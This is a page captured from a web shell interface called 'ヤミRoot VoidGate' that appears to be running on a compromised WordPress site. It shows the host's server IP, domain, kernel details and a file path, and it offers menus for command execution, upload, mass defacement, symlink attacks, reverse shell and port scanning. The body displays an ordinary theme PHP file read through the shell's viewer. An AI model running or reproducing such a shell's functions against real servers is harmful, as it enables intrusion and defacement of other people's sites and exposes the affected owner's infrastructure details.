ヤミRoot VoidGate
User / IP
:
216.73.217.27
Host / Server
:
188.165.53.185 / urgencetoiture.be
System
:
Linux webm002.cluster121.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
urgencetin
/
www
/
wp-content
/
themes
/
enfold
/
framework
/
php
/
Viewing: class-style-generator.php
<?php if ( ! defined('AVIA_FW')) exit('No direct script access allowed'); /** * This file holds the class that creates styles for the theme based on the backend options * * * @author Christian "Kriesi" Budschedl * @copyright Copyright (c) Christian Budschedl * @link http://kriesi.at * @link http://aviathemes.com * @since Version 1.0 * @package AviaFramework */ /** * */ if( !class_exists( 'avia_style_generator' ) ) { /** * The avia_style_generator class holds all methods necessary to create and overwrite the default css styles with those set in the wordpress backend * @package AviaFramework */ class avia_style_generator { /** * This array hold all styledata defined for the theme that should be overwriten dynamically * @var array */ var $rules; /** * $output contains the html string that is printed in the frontend * @var string */ var $output = ""; /** * $extra_output contains html content that should be printed after the actual css rules. for example a javascript with cufon rules * @var string */ var $extra_output = ""; /* * Add print var to check if we need to output style tags or not */ var $print_styles = ''; var $print_extra_output = ''; var $used_fonts = array(); var $google_fontlist = ""; var $stylewizard = array(); // holds all available styling rules that are defined in the config files var $stylewizardIDs = array(); // holds all saved elements that contain rules public function __construct(&$avia_superobject, $print_styles = true, $print_extra_output = true, $addaction = true) { $this->print_styles = $print_styles; $this->print_extra_output = $print_extra_output; //check if stylesheet exists... $safe_name = avia_backend_safe_string($avia_superobject->base_data['prefix']); if( get_option('avia_stylesheet_exists'.$safe_name) == 'true' ) $this->print_styles = false; $this->get_style_wizard_additions($avia_superobject->option_page_data); if($addaction) { add_action('wp_head',array(&$this, 'create_styles'),5); add_action('wp_head',array(&$this, 'print_extra_output'),5); add_action('wp_head',array(&$this, 'print_styles'),1000); add_action('wp_footer',array(&$this, 'print_footer'),1000); } } public function __destruct() { unset($this->print_styles); unset($this->print_extra_output); } // gather styling wizard elements so the rules can be converted as well function get_style_wizard_additions($option_page_data) { foreach($option_page_data as $data) { if($data['type'] == 'styling_wizard') { $this->stylewizardIDs[] = $data['id']; $this->stylewizard = array_merge($this->stylewizard, $data['elements']); } } } function create_styles() { global $avia_config; if(!isset($avia_config['font_stack'])) $avia_config['font_stack'] = ""; if(!isset($avia_config['style'])) return; $avia_config['style'] = apply_filters('avia_style_filter',$avia_config['style']); $this->rules = $avia_config['style']; //default styling rules if(is_array($this->rules)) { foreach($this->rules as $rule) { $rule['value'] = str_replace('{{AVIA_BASE_URL}}', AVIA_BASE_URL, $rule['value']); $rule['value'] = preg_replace('/(http|https):\/\//', '//', $rule['value']); //check if a executing method was passed, if not simply put the string together based on the key and value array if(isset($rule['key']) && method_exists($this, $rule['key']) && $rule['value'] != "") { $this->output .= $this->{$rule['key']}($rule)."\n"; } else if($rule['value'] != "") { $this->output .= $rule['elements']."{\n".$rule['key'].":".$rule['value'].";\n}\n\n"; } } } //css wizard styling rules $this->create_wizard_styles(); //output inline css in head section or return the style code if( !empty($this->output) ) { if( !empty($this->print_styles) ) { } else { $return = $this->output; } } if(!empty($return)) return $return; } function create_wizard_styles() { if(empty($this->stylewizardIDs)) return; global $avia_config; foreach($this->stylewizardIDs as $id) { $options = avia_get_option($id); if(empty($options)) continue; foreach($options as $style) { if(empty($this->stylewizard[$style['id']]['selector'])) continue; //first of all we need to build the selector string $selectorArray = $this->stylewizard[$style['id']]['selector']; $sectionCheck = $this->stylewizard[$style['id']]['sections']; foreach($selectorArray as $selector => $ruleset) { $temp_selector = ""; $rules = ""; $sectionActive = strpos($selector, '[sections]') !== false ? true : false; //hover check if(isset($style['hover_active']) && $style['hover_active'] != 'disabled') { $selector = str_replace("[hover]", ":hover", $selector); } else { $selector = str_replace("[hover]", "", $selector); } //if sections are enabled make sure that the selector string gets generated for each section if($sectionActive && $sectionCheck && isset($avia_config['color_sets'])) { //check if all color sections are selected. if so we dont need to loop several times but only once $all_sets_selected = true; $color_sets_to_iterate = $avia_config['color_sets']; foreach($avia_config['color_sets'] as $key => $name) { if( empty($style[$key]) || (isset($style[$key]) && $style[$key] == 'disabled')) { $all_sets_selected = false; } } if($all_sets_selected) { $color_sets_to_iterate = array('all_colors' => ''); } foreach($color_sets_to_iterate as $key => $name) { if( (isset($style[$key]) && $style[$key] != 'disabled' ) || $key == 'all_colors') { if(!empty($temp_selector)) $temp_selector .= ", "; $temp_selector .= str_replace("[sections]", ".".$key, $selector); } } if(empty($temp_selector)) continue; } //apply modified rules to the selector if(!empty($temp_selector)) $selector = $temp_selector; //we got the selector stored in $selector, now we need to generate the rules foreach($style as $key => $value) { if($value != "" && $value != "true" && $value != "disabled" && $key != "id") { if( is_array( $ruleset ) ) { foreach($ruleset as $rule_key => $rule_val) { //if the $rule_val is an array we only apply the rules if the user selected value is the same as the first rule_val entry if(is_array($rule_val)) { if($rule_val[0] !== $value) { continue; } else { $rule_val = $rule_val[1]; } } if($rule_key == $key ) { if(str_replace('_','-',$rule_key) == "font-family") { $font = explode(':',($value)); $value = $font[0]; } $rules .= str_replace("%{$key}%", $value, $rule_val); } } } else { $key = str_replace('_','-',$key); switch($key) { case "font-family": $font = explode(':',($value)); $font_family = $font[0]; $font_size = isset($font[1]) ? $font[1] : ""; $this->add_google_font($font_family, $font_size); $rules .= "font-family:'{$font_family}', 'Helvetica Neue', Helvetica, Arial, sans-serif;"; break; default: $rules .= "{$key}:{$value};"; break; } } } } if(!empty($rules)) { $this->output .= $selector.'{'.$rules.'}'; } } } } } function print_styles() { if(empty($this->print_styles)) return; echo "\n<!-- custom styles set at your backend-->\n"; echo "<style type='text/css' id='dynamic-styles'>\n"; echo $this->output; echo "</style>\n"; echo "\n<!-- end custom styles-->\n\n"; } function print_extra_output() { if($this->print_extra_output) { $this->link_google_font(); echo $this->extra_output; } } function print_footer() { if(!empty($this->footer)) { echo $this->footer; } } function cufon($rule) { if(empty($this->footer)) $this->footer = ""; $rule_split = explode('__',$rule['value']); if(!isset($rule_split[1])) $rule_split[1] = 1; $this->footer .= "\n<!-- cufon font replacement -->\n"; $this->footer .= "<script type='text/javascript' src='".AVIA_BASE_URL."fonts/cufon.js'></script>\n"; $this->footer .= "<script type='text/javascript' src='".AVIA_BASE_URL."fonts/".$rule_split[0].".font.js'></script>\n"; $this->footer .= "<script type='text/javascript'>\n\t var avia_cufon_size_mod = '".$rule_split[1]."'; \n\tCufon.replace('".$rule['elements']."',{ fontFamily: 'cufon', hover:'true' }); \n</script>\n"; } function google_webfont($rule) { global $avia_config; //check if the font has a weight applied to it and extract it. eg: "Yanone Kaffeesatz:200" $font_weight = ""; $get_google_font = true; if(strpos($rule['value'], ":") !== false) { $data = explode(':',$rule['value']); $rule['value'] = $data[0]; $font_weight = $data[1]; } $rule_split = explode('__',$rule['value']); if(!isset($rule_split[1])) $rule_split[1] = 1; if(strpos($rule_split[0], 'websave') !== false) { $rule_split = explode(',',$rule_split[0]); $rule_split = strtolower(" ".$rule_split[0]); $rule_split = str_replace('"','',$rule_split); $rule_split = str_replace("'",'',$rule_split); $rule_split = str_replace("-websave",'',$rule_split); $avia_config['font_stack'] .= $rule_split.'-websave'; $rule_split = array(str_replace( "-", " " , $rule_split ), 1); $get_google_font = false; } if($get_google_font) { $this->add_google_font($rule_split[0], $font_weight); if(!empty($font_weight) && strpos($font_weight,',') === false) { $font_weight = "font-weight:".$font_weight.";";} else { $font_weight = ""; } } $this->output .= $rule['elements']."{font-family:'".$rule_split[0]."', 'HelveticaNeue', 'Helvetica Neue', Helvetica, Arial, sans-serif;".$font_weight."}"; if($rule_split[1] !== 1 && $rule_split[1]) $this->output .= $rule['elements']."{font-size:".$rule_split[1]."em;}"; $avia_config['font_stack'] .= " ".strtolower( str_replace( " ", "_" , $rule_split[0] ))." "; } //add the font to the query string function add_google_font($font_family, $font_weight = "") { if(!in_array($font_family.$font_weight, $this->used_fonts)) { $this->used_fonts[] = $font_family.$font_weight; if(!empty($this->google_fontlist)) $this->google_fontlist .= "%7C"; if(!empty($font_weight)) $font_weight = ":".$font_weight; $this->google_fontlist .= str_replace(' ','+',$font_family).$font_weight; } } //write the link tag with the $this->google_fontlist function link_google_font() { if(empty($this->google_fontlist)) return; $this->extra_output .= "\n<!-- google webfont font replacement -->\n"; $this->extra_output .= "<link rel='stylesheet' id='avia-google-webfont' href='//fonts.googleapis.com/css?family=".apply_filters('avf_google_fontlist', $this->google_fontlist)."' type='text/css' media='all'/> \n"; return $this->extra_output; } function direct_input($rule) { return $rule['value']; } function backgroundImage($rule) { return $rule['elements']."{\nbackground-image:url(".$rule['value'].");\n}\n\n"; } } }
Coded With 💗 by
0x6ick